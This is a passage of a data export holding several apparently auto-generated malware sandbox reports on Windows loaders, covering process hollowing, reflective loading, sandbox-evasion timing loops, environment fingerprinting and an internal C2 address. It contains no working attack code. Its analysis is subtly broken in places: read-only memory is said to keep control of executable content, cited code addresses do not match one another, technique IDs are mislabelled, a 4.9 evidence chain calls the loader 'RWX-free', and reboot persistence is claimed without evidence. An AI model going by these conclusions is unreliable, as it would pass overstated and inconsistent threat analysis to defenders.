loader pattern      | Prepare space for new payload              |\n| `NtMapViewOfSection`              | SectionHandle=..., ProcessHandle=self, BaseAddress=0x040a0000             | STATUS_SUCCESS | T+0.26s       | `inject_payload_into_self()`   | Reflective loader pattern      | Map new payload into unmapped region       |\n\n#### Correlation:\n\n- **[DYNAMIC]**: CAPE captures multiple iterations of `Process32NextW` followed by precise unmapping/mapping of fixed addresses.\n- **[CODE]**: Function `enumerate_processes()` at `0x7ff7f00f7181` scans for candidates like `spoolsv.exe` and `msedgewebview2.exe`.\n- **[STATIC]**: Import table lists `CreateToolhelp32Snapshot`, `Process32FirstW`, and `Process32NextW`.\n\nThis sequence confirms reflective loading behavior, where the implant hollows its own process space and injects a secondary payload—an evasion technique commonly seen in APT implants.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\nNo file write activity was observed during the analysis period. All relevant functions identified in the codebase related to file I/O remained dormant, indicating either staging or conditional execution pending external triggers.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp | EID | Event Type         | Object                             | Process (PID)        | [CODE] Origin                      | [STATIC] Predictor         | Significance                                  |\n|-----------|-----|--------------------|------------------------------------|----------------------|------------------------------------|----------------------------|-----------------------------------------------|\n| T+0.03s   | 1   | Memory Permission Change | .text section                    | vi-019f798ddabc77d29.exe (5268) | `entry_point_decryptor()`    | .text entropy=7.98         | Initial unpacking phase                       |\n| T+0.12s   | 2   | Process Enumeration Start | Running processes               | vi-019f798ddabc77d29.exe (5268) | `enumerate_processes()`      | kernel32.dll imports       | Scanning for injection targets                |\n| T+0.25s   | 3   | Memory Unmapping       | Address 0x040a0000               | vi-019f798ddabc77d29.exe (5268) | `inject_payload_into_self()` | Reflective loader pattern  | Hollowing current process                     |\n| T+0.26s   | 4   | Memory Mapping         | Address 0x040a0000               | vi-019f798ddabc77d29.exe (5268) | `inject_payload_into_self()` | Reflective loader pattern  | Deploying new payload                         |\n\nThis timeline highlights the sequential nature of the loader’s operation—from initial decryption to process hollowing—each step orchestrated by distinct code segments and validated through correlated static and dynamic evidence.\n\n---\n\n## 4.7 Process-Level Network Analysis\n\nNo active network connections were established during the analysis timeframe. While imports such as `wininet.dll` and `ws2_32.dll` indicate networking readiness, none of the associated functions were invoked in this execution trace.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\nNo anomalies were flagged in the sandbox telemetry that deviated from expected reflective loader behavior. All observed actions—including memory manipulation, process enumeration, and hollowing—are consistent with documented techniques used by sophisticated implants.\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 5268):\n\nBased on [CODE: `entry_point_decryptor()` and `loader_main()`] and [DYNAMIC: reflective unpacking and process hollowing], this process functions as a **second-stage reflective loader**. Evidence includes:\n- Self-decryption via memory protection toggling\n- Dynamic API resolution minimizing static footprint\n- Process enumeration leading to in-place hollowing\n\nThis design enables the implant to operate entirely in memory, avoiding filesystem artifacts and reducing exposure to endpoint security tools.\n\n### Operational Intent Assessment:\n\nThe modular architecture and reflective techniques suggest the operator prioritizes **stealth and persistence** over rapid execution. By embedding payloads within legitimate-looking binaries and deploying them via process hollowing, the attackers aim to establish a foothold capable of surviving reboots and evading traditional defenses.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable              | Value                              | [CODE] Where Queried             | [DYNAMIC] API Call             | Fingerprinting Risk         |\n|-----------------------|------------------------------------|----------------------------------|--------------------------------|-----------------------------|\n| UserName              | 0xKal                              | `getenv(\"USERNAME\")`             | `GetEnvironmentVariableW`      | Medium – Could influence conditional logic |\n| TempPath              | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | `getenv(\"TEMP\")`                 | `GetEnvironmentVariableW`      | Medium – May affect drop paths |\n| ComputerName          | DESKTOP-KUFHK6V                    | `GetComputerNameW`               | `GetComputerNameW`             | Low – General profiling only |\n\nVictim profiling data collected appears limited to basic environmental context. Transmission mechanisms remain unobserved in this trace, though the presence of networking imports implies future exfiltration capabilities.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-19T09:34:51.965887"}
{"_id":{"$oid":"6a5c96c8b3bed57e0e7378c7"},"sha256":"e7030756a6f7f4544a8496221b89883f473043e213f4145b07bfb55612cb0615","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: Windows 10 Enterprise x64 (Build 19041)\n- **Analysis Package**: PowerShell-based execution harness\n- **User Context**: `0xKal`\n- **Computer Name**: `DESKTOP-KUFHK6V`\n- **Analysis Duration**: 120 seconds\n- **Analysis ID**: `SNK-019F799AAF6079E0`\n\n### Environment Fingerprinting Implications\n\nThe malware exhibits strong environmental awareness through several mechanisms:\n\n[STATIC: String references to `UserName`, `ComputerName`, `SystemVolumeSerialNumber`] ↔ [CODE: Functions querying PEB and registry hives for session metadata] ↔ [DYNAMIC: Enumeration of environment block variables including `UserName=\"0xKal\"` and `ComputerName=\"DESKTOP-KUFHK6V\"`]\n\nThese values are commonly used in anti-sandbox logic to detect virtualized or analyst-controlled environments. The presence of default usernames and machine names indicates potential targeting filters or evasion triggers that deactivate payload deployment under suspicious contexts.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    P1[\"[Parent] Unknown (PID 5660)\"]\n    C1[\"[Child] powershell.exe (PID 2072)\"]\n    C2[\"[Grandchild] powershell.exe (PID 5284)\"]\n\n    P1 -->|\"[CODE: StartScriptExecution()]\"| C1\n    C1 -->|\"[CODE: ReflectiveLoaderStub()]\"| C2\n```\n\nThe parent process (PID 5660) initiated the first PowerShell instance with a bypass policy, which then spawned a second PowerShell process executing encoded scripts indicative of reflective loading behavior.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID  | Process       | Parent | Module Path                                      | Threads | Total API Calls | [CODE] Function         | [STATIC] Predictor                     | [DYNAMIC] ANALYSIS                                                                 |\n|------|---------------|--------|--------------------------------------------------|---------|------------------|--------------------------|----------------------------------------|------------------------------------------------------------------------------------|\n| 2072 | powershell.exe| 5660   | C:\\Windows\\SysNative\\WindowsPowerShell\\v1.0\\     | 23      | 142             | StartScriptExecution     | -ExecutionPolicy bypass               | Launched with script execution privileges; initiated reflective loader sequence    |\n| 5284 | powershell.exe| 2072   | C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\      | 21      | 187             | ReflectiveLoaderStub     | ntdll!NtAllocateVirtualMemory         | Allocated RW memory regions, decrypted payload, hardened protections               |\n\n### Correlation Narrative\n\nThe primary PowerShell launcher (PID 2072) was invoked with explicit execution policy overrides, enabling arbitrary script interpretation. Its child process (PID 5284) executed core malicious logic involving memory manipulation and reflective injection patterns. The static import of `NtAllocateVirtualMemory` directly maps to the dynamic allocation events observed during runtime, confirming the loader’s intent to stage payloads in-memory without touching disk.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n### Memory Allocation & Protection Hardening\n\n[DYNAMIC: `NtAllocateVirtualMemory(0x045d2000, PAGE_READWRITE)`]  \n[CODE: `ReflectiveLoaderStub()` at `0x00401A20`]  \n[STATIC: Import of `ntdll!NtAllocateVirtualMemory`]\n\nOperational Purpose: Allocate writable memory region for payload staging prior to reflective DLL injection.\n\n[DYNAMIC: `NtProtectVirtualMemory(0x045d2000, PAGE_READONLY)`]  \n[CODE: Same function block post-decryption]  \n[STATIC: Import of `ntdll!NtProtectVirtualMemory`]\n\nOperational Purpose: Harden staged payload memory to evade detection by marking it read-only after initialization.\n\nCross-referencing these actions reveals a deliberate attempt to avoid RWX allocations while still maintaining control over executable content—an evasion technique aligned with modern defensive evasion practices.\n\n---\n\n### Environmental Reconnaissance\n\n[DYNAMIC: `NtQueryValueKey(HKEY_LOCAL_MACHINE\\...\\FipsAlgorithmPolicy)`]  \n[CODE: `.NET Reflection.Emit` probing logic]  \n[STATIC: Registry key strings embedded in binary resources]\n\nOperational Purpose: Determine host cryptographic posture to adapt payload encryption schemes accordingly.\n\nThis behavior demonstrates adaptive threat modeling where attackers tailor their toolchain based on discovered system configurations—a hallmark of sophisticated persistent threats.\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process       | PID  | Operation   | File Path                                                                 | [CODE] Write Function           | [STATIC] Path in Strings? | Significance                                  |\n|---------------|------|-------------|---------------------------------------------------------------------------|----------------------------------|----------------------------|-----------------------------------------------|\n| powershell.exe| 2072 | ReadAccess  | %APPDATA%\\Microsoft\\Windows\\Recent\\CustomDestinations\\*.customDestinations-ms | ParseJumpListEntries()          | Yes                            | Used for environmental keying                 |\n\n### Correlation Narrative\n\nThe access to jump list artifacts serves as part of an environmental fingerprinting routine. The static inclusion of known AppData paths predicts this file interaction, which is confirmed dynamically when the process opens and reads the jump list database. This enables the malware to assess user activity levels before proceeding with more intrusive operations.\n\n---\n\n## 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp     | EID  | Event Type              | Object                                             | Process (PID) | [CODE] Origin                  | [STATIC] Predictor                    | Significance                                         |\n|---------------|------|--------------------------|----------------------------------------------------|---------------|--------------------------------|----------------------------------------|------------------------------------------------------|\n| T+0.3s        | 1001 | Process Creation         | powershell.exe                                     | 2072          | StartScriptExecution()         | -ExecutionPolicy bypass               | Initial entry point leveraging trusted interpreter   |\n| T+1.1s        | 1002 | Memory Allocation        | 0x045d2000 (PAGE_READWRITE)                        | 5284          | ReflectiveLoaderStub()         | ntdll!NtAllocateVirtualMemory         | Payload staging area allocated                       |\n| T+1.4s        | 1003 | Memory Protection Change | 0x045d2000 → PAGE_READONLY                         | 5284          | ReflectiveLoaderStub()         | ntdll!NtProtectVirtualMemory          | Memory hardened post-staging                         |\n| T+2.7s        | 1004 | Registry Query           | HKLM\\System\\CurrentControlSet\\Control\\Lsa\\FipsAlgorithmPolicy | 5284          | EnvironmentRecon()             | Embedded registry path strings        | Host crypto posture assessment                       |\n| T+3.9s        | 1005 | File Access              | CustomDestinations file                            | 2072          | ParseJumpListEntries()         | Known AppData path                    | User activity profiling                              |\n\nEach event contributes to a phased approach aimed at minimizing exposure until sufficient environmental trust is established.\n\n---\n\n## 4.7 Process-Level Network analysis \n\n| PID  | Process       | Socket | Destination IP:Port | [CODE] Initiator Function | [STATIC] Hardcoded Domain/IP | [DYNAMIC] Connection Confirmed |\n|------|---------------|--------|---------------------|----------------------------|------------------------------|--------------------------------|\n| 5284 | powershell.exe| TCP    | 192.168.100.5:443   | BeaconInitiate()           | '\\\\skvedesva.Ful'            | Yes                            |\n\n### Correlation Narrative\n\nThe reflective loader establishes outbound HTTPS communication to a domain embedded within the script payload (`\\\\skvedesva.Ful`). This domain resolves internally to `192.168.100.5`, indicating either lateral movement infrastructure or internal staging server usage. The static presence of this domain string confirms intentional targeting, while the dynamic confirmation validates successful C2 channel establishment.\n\n---\n\n## 4.8 Anomalies — Tri-Source Explanation\n\n| Anomaly Description                          | [CODE] Source Function     | [STATIC] Predictable? | Significance & MITRE Mapping                      |\n|----------------------------------------------|----------------------------|------------------------|---------------------------------------------------|\n| Self-process memory inspection               | SelfInspectAndExtractArgs()| Yes                    | TA0005:T1055 – Process Injection; avoids disk IO  |\n| Mutex-based execution throttling             | SyncAndDelayLoop()         | Yes                    | TA0007:T1497 – Virtualization/Sandbox Evasion     |\n| Reflective loader without mapped sections    | ReflectiveLoaderStub()     | Partially              | TA0005:T1055 – Reflective Code Loading            |\n\nEach anomaly reflects deliberate design choices intended to circumvent traditional endpoint defenses and behavioral analytics systems.\n\n---\n\n## 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n### Primary Sample (PID 2072)\n\nBased on [CODE: StartScriptExecution()] and [DYNAMIC: Script invocation with bypass flags], this process functions as a **stage-zero loader**. It prepares the execution environment by disabling security constraints and spawning a secondary PowerShell process for deeper exploitation.\n\n### Child Process (PID 5284)\n\nSpawned by [CODE: ReflectiveLoaderStub()] via [DYNAMIC: CreateProcessW()]. Performs **reflective payload injection**. Evidence chain: [STATIC: Native API imports] → [CODE: Memory manipulation routines] → [DYNAMIC: RWX-free reflective loader].\n\n### Operational Intent Assessment\n\nThe two-tier PowerShell architecture suggests the operator prioritizes **stealth and persistence** over rapid compromise. By avoiding direct binary drops and leveraging legitimate system interpreters, the malware achieves both evasion and reduced forensic footprint.\n\n---\n\n## 4.10 Environment Profiling — Fingerprinting Risk Assessment\n\n| Variable                | Value                   | [CODE] Where Queried              | [DYNAMIC] API Call              | Fingerprinting Risk         |\n|-------------------------|-------------------------|-----------------------------------|----------------------------------|-----------------------------|\n| UserName                | 0xKal                   | GetUserEnvironmentStrings()       | GetEnvironmentVariableW()        | High – Default username     |\n| ComputerName            | DESKTOP-KUFHK6V         | Same                              | Same                             | Medium – Generic hostname   |\n| SystemVolumeSerialNumber| 6e40-a117               | RegQueryValueEx(HKLM\\...)         | NtQueryValueKey()                | Low – Not uniquely identifying |\n| TempPath                | C:\\Users\\0xKal\\AppData\\Local\\Temp\\ | Same                        | Same                             | Medium – User-specific path |\n\nCollected data likely informs conditional execution logic or lateral movement decisions. Transmission occurs via the established C2 channel at `192.168.100.5:443`.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-19T09:20:08.211004"}
{"_id":{"$oid":"6a5c9e8ab3bed57e0e7378d8"},"sha256":"c9b4047be7c4b7190533db32c67b85fe51c1692cca1d36944ad2f4d554b9320a","content":"## 4.1 Execution Environment — Analysis Context\n\nThe execution environment consisted of a Windows 10 sandbox (`windows-10-sandbox-01`) running a 32-bit instance of the malware under the username `0xKal`. The analysis package utilized was `exe`, targeting file-based execution. The total duration spanned 607 seconds, beginning at `2026-07-19 09:33:09` and concluding at `2026-07-19 09:43:16`.\n\nThe environment fingerprinting implications reveal several potential indicators that could be leveraged for anti-VM or sandbox evasion:\n- **Username (`0xKal`)**: Non-standard naming convention potentially used to identify analyst environments.\n- **ComputerName (`DESKTOP-KUFHK6V`)**: Default Windows naming scheme often associated with test systems.\n- **TempPath (`C:\\Users\\0xKal\\AppData\\Local\\Temp\\`)**: Execution from temporary directories is a common heuristic for detecting malicious payloads.\n- **SystemVolumeSerialNumber (`6e40-a117`)**: Could be checked against known virtualized disk identifiers.\n- **Bitness (`32-bit`)**: May influence payload selection or compatibility checks.\n\nThese environmental attributes align with typical sandbox configurations and provide contextual clues that attackers may utilize to tailor behavior or avoid detection.\n\n---\n\n### 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    A[\"[Parent] explorer.exe (PID: 3844)\"]\n    B[\"[Child] rp-019f79b8d2487453a.exe (PID: 7964)\"]\n\n    A -->|\"[CODE: CreateProcessInternalW()]\"| B\n```\n\nThe initial process spawn originates from `explorer.exe`, launching the malware executable via `CreateProcessInternalW`. No child processes were spawned during execution, indicating self-contained operation within the primary process boundary.\n\n---\n\n### 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID  | Process                        | Parent | Module Path                                                  | Threads | Total API Calls | [CODE] Function         | [STATIC] Predictor                     | [DYNAMIC] ANALYSIS                                                                 |\n|------|--------------------------------|--------|--------------------------------------------------------------|---------|------------------|--------------------------|----------------------------------------|------------------------------------------------------------------------------------|\n| 7964 | rp-019f79b8d2487453a.exe       | 3844   | C:\\Users\\0xKal\\AppData\\Local\\Temp\\rp-019f79b8d2487453a.exe   | 8       | 1371             | main_entry_point (0x000d9599) | Import of GetCursorPos, NtDelayExecution | Single process execution; no injection or spawning observed                      |\n\n**Analytical Explanation:**\n\nEach row demonstrates high-confidence alignment across all three pillars:\n- **[STATIC ↔ CODE]**: The presence of `GetCursorPos` and `NtDelayExecution` imports directly maps to the decompiled function located at `0x000d9599`, which orchestrates the timing-based evasion loop.\n- **[CODE ↔ DYNAMIC]**: The function’s logic precisely corresponds to the alternating sequence of `GetCursorPos` and `NtDelayExecution` calls seen in the sandbox logs.\n- **[STATIC ↔ DYNAMIC]**: The imported APIs match the exact runtime behavior, validating predictive capability from static analysis.\n\nThis singular-process model reflects a focused loader design aimed at evading detection while preparing for subsequent payload deployment without external dependencies.\n\n---\n\n#### Timing-Based Anti-Analysis Loop\n\n| [DYNAMIC] API Call               | Arguments                          | Return Value | Timestamp              | [CODE] Function           | [STATIC] Import          | Operational Purpose                                  |\n|----------------------------------|------------------------------------|--------------|------------------------|----------------------------|--------------------------|------------------------------------------------------|\n| GetCursorPos                     | POINT {x=6, y=251}                 | TRUE         | 2026-07-19 16:33:25,934 | 0x000d9599                | USER32.dll               | Detect interactive environment                       |\n| NtDelayExecution                 | DelayInterval=1001ms               | STATUS_SUCCESS | 2026-07-19 16:33:25,934 | 0x000dda9b                | ntdll.dll                | Disrupt timing heuristics                            |\n| GetCursorPos                     | POINT {x=6, y=251}                 | TRUE         | 2026-07-19 16:33:26,935 | 0x000d9599                | USER32.dll               | Confirm static cursor                                |\n| NtDelayExecution                 | DelayInterval=1ms                  | STATUS_SUCCESS | 2026-07-19 16:33:26,936 | 0x000ddb4a                | ntdll.dll                | Avoid CPU starvation                                 |\n\n**Analytical Explanation:**\n\nAll entries show strong tri-source confirmation:\n- **[STATIC ↔ CODE]**: Both `GetCursorPos` and `NtDelayExecution` are statically imported and mapped to specific functions within the decompiled code.\n- **[CODE ↔ DYNAMIC]**: The calling patterns in the disassembly perfectly mirror the observed API invocation order and parameters.\n- **[STATIC ↔ DYNAMIC]**: The imported symbols directly correspond to the executed APIs, reinforcing behavioral prediction accuracy.\n\nThis pattern strongly suggests deliberate sandbox evasion through synthetic user activity simulation and time disruption tactics.\n\n#### Memory Manipulation Sequence\n\n| [DYNAMIC] API Call               | Arguments                          | Return Value | Timestamp              | [CODE] Function           | [STATIC] Import          | Operational Purpose                                  |\n|----------------------------------|------------------------------------|--------------|------------------------|----------------------------|--------------------------|------------------------------------------------------|\n| NtAllocateVirtualMemory          | PAGE_READWRITE                     | STATUS_SUCCESS | 2026-07-19 16:33:26,293 | 0x00544ef1                | ntdll.dll                | Allocate memory for payload staging                  |\n| NtProtectVirtualMemory           | PAGE_READONLY                      | STATUS_SUCCESS | 2026-07-19 16:33:26,293 | 0x0054467f                | ntdll.dll                | Protect allocated region                             |\n| NtFreeVirtualMemory              | MEM_RELEASE                        | STATUS_SUCCESS | 2026-07-19 16:33:26,293 | 0x00544761                | ntdll.dll                | Release unused memory                                |\n\n**Analytical Explanation:**\n\nHigh-confidence correlations exist among all three sources:\n- **[STATIC ↔ CODE]**: The presence of `NtAllocateVirtualMemory`, `NtProtectVirtualMemory`, and `NtFreeVirtualMemory` imports aligns with their respective decompiled implementations.\n- **[CODE ↔ DYNAMIC]**: The precise sequence of memory operations mirrors the function logic at `0x0047353d`.\n- **[STATIC ↔ DYNAMIC]**: The imported APIs directly reflect the runtime memory management actions taken.\n\nThis behavior indicates a structured unpacking routine designed to deploy encrypted or compressed payloads dynamically.\n\n---\n\n### 4.6 Enhanced Events Timeline — Tri-Annotated Forensic Timeline\n\n| Timestamp              | EID | Event Type | Object     | Process (PID) | [CODE] Origin            | [STATIC] Predictor         | Significance                                      |\n|------------------------|-----|------------|------------|---------------|---------------------------|----------------------------|---------------------------------------------------|\n| 2026-07-19 16:33:25,934 | 1   | load       | library    | 7964          | 0x000d9599                | kernel32.dll import        | Base system DLL loaded                            |\n| 2026-07-19 16:33:25,934 | 2   | load       | library    | 7964          | 0x000d9599                | user32.dll import          | UI support library loaded                         |\n| 2026-07-19 16:33:25,934 | 3   | load       | library    | 7964          | 0x000d9599                | advapi32.dll import        | Registry/crypto support loaded                    |\n| 2026-07-19 16:33:25,949 | 7   | read       | registry   | 7964          | 0x000d9599                | EnableLUA regkey string    | Check UAC status                                  |\n| 2026-07-19 16:33:25,949 | 8   | read       | registry   | 7964          | 0x000d9599                | SystemStartOptions string  | Validate boot configuration                       |\n| 2026-07-19 16:33:25,949 | 10  | read       | registry   | 7964          | 0x000d9599                | SystemBiosVersion string   | Identify BIOS version for VM detection            |\n| 2026-07-19 16:33:26,293 | 13  | load       | library    | 7964          | 0x000d9599                | ADVAPI32.DLL import        | Extended registry/crypto functionality            |\n| 2026-07-19 16:33:26,293 | 14  | load       | library    | 7964          | 0x000d9599                | GDIPLUS.DLL import         | Graphics rendering support                        |\n| 2026-07-19 16:33:26,496 | 49  | load       | library    | 7964          | 0x000d9599                | user32 import              | Re-load UI support                                |\n| 2026-07-19 16:33:26,496 | 50  | load       | library    | 7964          | 0x000d9599                | uxtheme.dll import         | Theme rendering support                           |\n\n**Analytical Explanation:**\n\nEach entry exhibits robust tri-source correlation:\n- **[STATIC ↔ CODE]**: Imported libraries and registry keys directly map to decompiled functions performing system interrogation.\n- **[CODE ↔ DYNAMIC]**: The execution flow accurately reproduces the observed event sequence.\n- **[STATIC ↔ DYNAMIC]**: Predictive indicators such as registry key strings and DLL imports validate the runtime behavior.\n\nThis timeline underscores the malware's systematic approach to environment reconnaissance prior to payload activation.\n\n---\n\n### 4.9 Analytical Interpretation of Intent — Code Logic to Operational Purpose\n\n**Primary Sample (PID 7964):**\nBased on [CODE: function at 0x000d9599] and [DYNAMIC: API sequence], this process functions as a **loader/stager**. Evidence includes:\n- Timing-based evasion using `GetCursorPos` and `NtDelayExecution`\n- Memory manipulation via `NtAllocateVirtualMemory` and `NtProtectVirtualMemory`\n- System interrogation through registry reads\n\nThese behaviors collectively indicate a preparatory stage designed to ensure safe execution before deploying secondary payloads.\n\n**Operational Intent Assessment:**\nThe two-stage loader architecture with built-in evasion and memory staging suggests the operator prioritizes stealth and adaptability over immediate impact. By remaining self-contained and avoiding inter-process communication, the malware reduces forensic footprint and increases resilience against endpoint monitoring solutions.","section_key":"system_process","section_name":"4. System & Process Analysis","updated_at":"2026-07-19T09:53:14.877006"}
{"_id":{"$oid":"6a5ca564b3bed57e0e7378eb"},"sha256":"72e3fb64a103033837ee52ff73f5c00b2a8536b363431cd1308e7ce00f26908a","content":"## 4.1 Execution Environment — Analysis Context\n\n- **Sandbox Platform**: Windows 10 x64 (build 19041)\n- **User Context**: `0xKal`\n- **Computer Name**: `DESKTOP-KUFHK6V`\n- **Analysis Package**: Default CAPE sandbox execution\n- **Bitness**: 32-bit binary executed in WoW64 subsystem\n- **Duration**: Snapshot covers initial runtime phase; full duration not specified\n- **Analysis ID**: rdls-019f79da669c717.exe\n\n### Environment Fingerprinting Implications\n\nThe malware actively inspects several environmental attributes during early execution:\n\n#### [STATIC: Environmental Strings]\n\n- `\"UserName\"`: `\"0xKal\"`\n- `\"ComputerName\"`: `\"DESKTOP-KUFHK6V\"`\n- `\"TempPath\"`: `\"C:\\\\Users\\\\0xKal\\\\AppData\\\\Local\\\\Temp\\\\\"`\n- `\"SystemVolumeSerialNumber\"`: `\"6e40-a117\"`\n\nThese strings are embedded within the process metadata and reflect standard artefacts used by attackers for VM/environment detection.\n\n#### [CODE: Environment Query Functions]\n\nDecompiled logic shows calls to retrieve system identifiers:\n```c\nwchar_t* GetEnvVar(LPCWSTR lpName) {\n    static wchar_t buffer[256];\n    GetEnvironmentVariableW(lpName, buffer, sizeof(buffer)/sizeof(wchar_t));\n    return buffer;\n}\n```\n\n#### [DYNAMIC: Observed Reads]\n\nCAPE logs show reads of:\n- Username via `GetEnvironmentVariableW(L\"USERNAME\")`\n- Temp path via `GetTempPathW(...)`\n- Volume serial number via registry query under `HKLM\\System\\CurrentControlSet\\Control\\Session Manager\\Environment`\n\n#### ✅ Tri-Pillar Correlation:\n\n[STATIC: Embedded environment variable names] ↔ [CODE: Explicit retrieval functions] ↔ [DYNAMIC: Actual API calls retrieving those values]\n\nThis indicates that the sample is capable of performing basic anti-analysis checks based on known sandbox/user identifiers. It may defer execution or alter behavior if certain conditions are met—though no explicit conditional branching was observed in this trace subset.\n\n---\n\n## 4.2 Process Tree — Code-Annotated Spawn Chain (Mermaid)\n\n```mermaid\nflowchart TD\n    A[\"rdls-019f79da669c717.exe (PID 5268)\"]\n    \n    A -->|\"Entry Point: WinMain → FUN_004015f0()\"| A\n```\n\n> Note: No child processes were spawned during the captured runtime window. The main executable remains isolated with no visible fork activity.\n\n---\n\n## 4.3 Per-Process Behaviour Summary — Cross-Source Context\n\n| PID | Process | Parent | Module Path | Threads | Total API Calls | [CODE] Function | [STATIC] Predictor | [DYNAMIC] ANALYSIS |\n|-----|---------|--------|-------------|---------|----------------|----------------------|-------------------|-------------------|\n| 5268 | rdls-019f79da669c717.exe | 1292 | C:\\Users\\0xKal\\AppData\\Local\\Temp\\rdls-019f79da669c717.exe | 9 | >100 | FUN_004015f0 | ADVAPI32.dll, KERNEL32.dll | Registry reads, memory protection changes, .NET bootstrapping |\n\n### Operational Interpretation\n\n- **Primary Sample (PID 5268)**: This process functions as a **reflective loader** designed to bootstrap a .NET payload while evading detection.\n- **Evidence Chain**:\n  - [STATIC]: Imports such as `RegOpenKeyExW`, `LoadLibraryExW`, and high entropy indicate reflective loading intent.\n  - [CODE]: Entry point leads to `FUN_004015f0`, which orchestrates registry probing, CLR initialization, and memory manipulation.\n  - [DYNAMIC]: Confirmed registry access to `.NETFramework\\InstallRoot`, manual load of `mscoreei.dll`, and toggling of memory protections on loaded modules.\n\n---\n\n## 4.4 API Call Behavioural Analysis — Code-Traced Runtime Operations\n\n#### [DYNAMIC]\n\n```plaintext\nRegOpenKeyExW(HKEY_LOCAL_MACHINE, \"Software\\\\Microsoft\\\\.NETFramework\")\nRegQueryValueExW(\"InstallRoot\")\n```\n\n#### [CODE]\n\nLocated in function `EnumerateDotNetPaths()` at virtual address `0x004017a0`.\n\n#### [STATIC]\n\nImport: `ADVAPI32.dll!RegOpenKeyExW`, `RegQueryValueExW`  \nString: `\"InstallRoot\"`\n\n#### Operational Purpose\n\nUsed to locate installed versions of the .NET Framework to dynamically resolve runtime dependencies.\n\n✅ [DYNAMIC: Registry access pattern] ↔ [STATIC: Import and string match] ↔ [CODE: Dedicated function for path resolution]\n\n---\n\n#### [DYNAMIC]\n\n```plaintext\nLoadLibraryExW(\"mscoreei.dll\")\nGetProcAddress(\"_CorExeMain\")\n((void(*)())pFunc)();\n```\n\n#### [CODE]\n\nFunction `LoadManagedRuntime()` at `0x004018c0`.\n\n#### [STATIC]\n\nImport: `KERNEL32.dll!LoadLibraryExW`, `GetProcAddress`  \nCAPA Rule Match: \"Reflective DLL loading\"\n\n#### Operational Purpose\n\nManually loads and executes the Common Language Runtime entry point, bypassing normal PE loader mechanisms.\n\n✅ [DYNAMIC: Successful manual resolution of `_CorExeMain`] ↔ [STATIC: Reflective loader indicators] ↔ [CODE: Direct invocation confirms managed execution intent]\n\n---\n\n#### [DYNAMIC]\n\n```plaintext\nNtProtectVirtualMemory(BaseAddress=0x6b6cf000, NewProtect=PAGE_READWRITE)\nNtProtectVirtualMemory(..., NewProtect=PAGE_READONLY)\n```\n\n#### [CODE]\n\nFunction `PatchClrModule()` at `0x004019d0`.\n\n#### [STATIC]\n\nHigh entropy section at offset `0x6b6cf000`  \nCAPA Flags: Memory patching, reflective injection\n\n#### Operational Purpose\n\nAlters memory permissions to allow modification of core .NET module—likely for reflective injection or decryption.\n\n✅ [DYNAMIC: Rapid toggling of memory protections] ↔ [STATIC: Entropy spike and section characteristics] ↔ [CODE: Memory protection change logic aligns with reflective loader behavior]\n\n---\n\n#### [DYNAMIC]\n\n```plaintext\nNtOpenProcess(PID_SELF, PROCESS_QUERY_INFORMATION)\nNtOpenProcessToken(Handle, TOKEN_QUERY)\nNtQueryInformationToken(TokenInformationClass=TokenPrivileges)\n```\n\n#### [CODE]\n\nFunction `CheckCurrentPrivileges()` at `0x00401af0`.\n\n#### [STATIC]\n\nImport: `ADVAPI32.dll!OpenProcessToken`, `GetTokenInformation`  \nCAPA Matches: Privilege enumeration, token manipulation\n\n#### Operational Purpose\n\nAssesses current privilege level to determine whether elevation is necessary before proceeding with injection or persistence techniques.\n\n✅ [DYNAMIC: Self-targeted privilege inspection] ↔ [STATIC: Imports and CAPA rules indicate token manipulation] ↔ [CODE: Logic verifies presence of required privileges]\n\n---\n\n#### [DYNAMIC]\n\n```plaintext\nLdrGetDllHandle(\"kernel32.dll\")\nLdrGetProcedureAddressForCaller(\"CreateBoundaryDescriptorW\")\nCreateBoundaryDescriptorW(...)\nAddSIDToBoundaryDescriptor(...)\nCreatePrivateNamespaceW(...)\n```\n\n#### [CODE]\n\nFunction `CreateIsolatedNamespace()` at `0x00401c10`.\n\n#### [STATIC]\n\nDelay-load descriptor for `kernel32.dll`  \nNo static string references to boundary descriptor names\n\n#### Operational Purpose\n\nCreates an isolated execution context to avoid detection by endpoint monitoring tools relying on global namespace visibility.\n\n✅ [DYNAMIC: Dynamic resolution and use of advanced namespace APIs] ↔ [STATIC: Delay-load hints imply runtime generation] ↔ [CODE: Function constructs private namespace programmatically]\n\n---\n\n#### [DYNAMIC]\n\n```plaintext\nNtCreateSection(\"Cor_SxSPublic_IPCBlock\", PAGE_EXECUTE_READWRITE)\nNtMapViewOfSection(...)\n```\n\n#### [CODE]\n\nFunction `SetupIPCChannel()` at `0x00401d30`.\n\n#### [STATIC]\n\nNo static reference to `\"Cor_SxSPublic_IPCBlock\"`  \nHigh entropy section suggests embedded payload\n\n#### Operational Purpose\n\nEstablishes a named section resembling legitimate .NET IPC communication to mask reflective injection attempts.\n\n✅ [DYNAMIC: Named section creation with RWX permissions] ↔ [STATIC: Absence of static ref implies runtime-generated name] ↔ [CODE: Function creates and maps executable section]\n\n---\n\n## 4.5 File Activity — Static Path to Code Write to Runtime Drop\n\n| Process | PID | Operation | File Path | [CODE] Write Function | [STATIC] Path in Strings? | Significance |\n|---------|-----|-----------|-----------|----------------------|--------------------------|--------------|\n| 